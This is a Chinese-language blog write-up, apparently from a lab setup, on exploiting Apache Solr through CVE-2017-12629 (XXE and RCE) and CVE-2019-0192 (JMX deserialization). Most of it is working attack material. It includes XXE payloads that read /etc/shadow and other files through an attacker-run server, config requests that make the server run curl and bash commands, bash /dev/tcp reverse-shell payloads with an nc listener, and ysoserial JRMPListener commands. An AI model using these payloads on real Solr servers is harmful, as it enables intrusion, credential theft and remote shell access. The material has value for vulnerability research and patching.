目录
CVE-2017-12629
- XXE
- RCE
- 未实现的反弹shell
- 坑点
CVE-2019-0192
关于solr的部署问题，大家参见这里：
https://www.jianshu.com/p/6c7dc45fb28a
本次研究涉及到的XXE&RCE包括CVE-2017-12629(存在于7.1.0以前版本)和CVE-2019-0192(存在于5.00至5.5.5版本和6.00至6.6.5版本)。
CVE-2017-12629
XXE
最快捷的检测方式当然是借助DNSLog，当然也可以自己搭建Apache作为日志获取平台，Payload如下：
{!xmlparser v='<!DOCTYPE a SYSTEM "http://rabbit.xxxxx.ceye.io/xxe_test"><a></a>'}&wt=xml
当Solr解析这个请求时，它会发出一个HTTP请求http://rabbit.xxxxx.ceye.io/xxe_test并将其内容定义为DOCTYPE。
考虑到我们可以在搜索查询中定义解析器类型，它通常来自不受信任的用户输入，例如网站上的搜索字段。它允许外部攻击者向本地Solr实例发出任意HTTP请求，并绕过所有防火墙限制。
接下来进行初步检测，使用之前记得url编码处理，然后执行：
400 请求出错 由于语法格式有误，服务器无法理解此请求。
收到400的报错，但查看下我们的DNSLog：
到这里我们基本可以确定了，目标Solr存在XXE漏洞，然后我们来尝试下更深层的利用：任意文件读取。
作为XXE钉子户，在此我依然选择xxeserve作为数据接收端，构造如下Payload：
{!xmlparser v='<!DOCTYPE a [<!ENTITY % remote SYSTEM "http://172.16.222.200:2333/xml?f=/etc/shadow">%remote;%int;%trick;]>'}&wt=xml
唉？翻车了？权限不足导致被拒？对哦，我使用的普通用户运行的solr，不过，万一谁习惯root用户运行呢？
在这里我们尝试访问一个普通文件：/tmp/flag.txt
{!xmlparser v='<!DOCTYPE a [<!ENTITY % remote SYSTEM "http://172.16.222.200:2333/xml?f=/tmp/flag.txt">%remote;%int;%trick;]>'}&wt=xml
成功读取文件内容，此处颇为惊喜，居然是做了两次http请求：
RCE
RCE存在于核心的config模块，主要是RunExecutableListener创建的侦听器带来的问题：
同样，最基本的测试我们借助DNSLog来实现。（同样可以借助Apache或NC代替），初步测试我们借助curl命令来做下载请求：
POST /solr/rabbit/config HTTP/1.1
Host: 172.16.222.200:1988
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 229
{
"add-listener" : {
"event":"newSearcher",
"name":"rabbit_rce",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://rabbit_rce.xxxxx.ceye.io/rce_test"]
}
}
在DNSLog上我们可以看到请求，说明命令执行成功，即curl命令成功远程执行。
当然了，仅仅是一个get请求充其量只能算个poc，我们来尝试下执行其他命令，如bash命令:
POST /solr/rabbit/config HTTP/1.1
Host: 172.16.222.200:1988
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 207
{
"add-listener" : {
"event":"newSearcher",
"name":"who",
"class":"solr.RunExecutableListener",
"exe":"bash",
"dir":"/bin/",
"args":["-c", "whoami",">>","/tmp/1.txt"]
}
}
我们去确认下命令执行情况：
当然了，真实环境下我们可以借助刚刚XXE实现的任意文件读取来查看我们的命令执行结果：
{!xmlparser v='<!DOCTYPE a [<!ENTITY % remote SYSTEM "http://172.16.222.200:2333/xml?f=/tmp/1.txt">%remote;%int;%trick;]>'}&wt=xml
如上，便是XXE & RCE的联合攻击基础使用。
未实现的反弹shell
唉，那啥，漫漫征途其实远没有终止，只是经历了一周的研究后也没有突破，在此记录一下感兴趣的小伙伴可以一起研究下。
RCE反弹shell
nc -lvvp 1988
POST /solr/rabbit/config HTTP/1.1
Host: 172.16.222.200:1988
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 221
{
"add-listener" : {
"event":"newSearcher",
"name":"nc6",
"class":"solr.RunExecutableListener",
"exe":"bash",
"dir":"/bin/",
"args":["-i",">&","/dev/tcp/172.16.222.194/1988","0>&1"]
}
}
bash -c命令之前我们已经成功了，然后我就想借助bash实现反弹shell岂不美滋滋，然而并没有成功，这、、这不科学，此为疑惑一。
XXE&RCE反弹shell
既然单纯的RCE无法反弹shell，能不能借助XXE实现内部post请求来实现shell反弹呢？于是我就这么做了,借助XXE产生的请求替换为post请求，发送数据包来实现反弹shell：
{!xmlparser v='<!DOCTYPE a SYSTEM "http://172.16.222.200:1988/solr/rabbit/select?q=1&qt=/solr/rabbit/config?stream.body={"add-listener":{"event":"postCommit","name":"post","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","/bin/bash","-i",">&","/dev/tcp/172.16.222.194/1988","0>&1"]}}&shards=172.16.222.200:1988/"><a></a>'}
然而！我又翻车了QAQ，此为疑惑二。
坑点
- 记得URL编码，但是只是
{ }及其包含的内容进行编码，&wt=xml等内容不要进行编码。 - 命令执行写文件不要贪，实测出现换行，即多条数据读取失败，当然这里也可能跟我的xxeserve有关。
CVE-2019-0192
在文章的最后稍微补充一下CVE-2019-0192远程命令执行漏洞，为什么篇幅这么短呢，因为相对于CVE-2017-12629，它实在谈不上好玩。
答案自然是条件苛刻，必须要使用JRE7u25以下版本，不过对于旧版本的solr还是比较常见的。
用到反序列化工具包ysoserial，借助payload——Jdk7u21监听 ：
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/rabbitmask"
POST /solr/rabbit/config HTTP/1.1
Host: 172.16.222.200:1988
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 93
{"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://172.16.222.194:1099/obj"}}
当然，如果远程测试环境的话我们依然借助DNSLog来确认测试结果：
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "ping -c 2 rabbit.xxxxx.ceye.io"
那么，本章就讨论到这里，关于两处未完成的疑惑，欢迎小伙伴私信讨论。
网友评论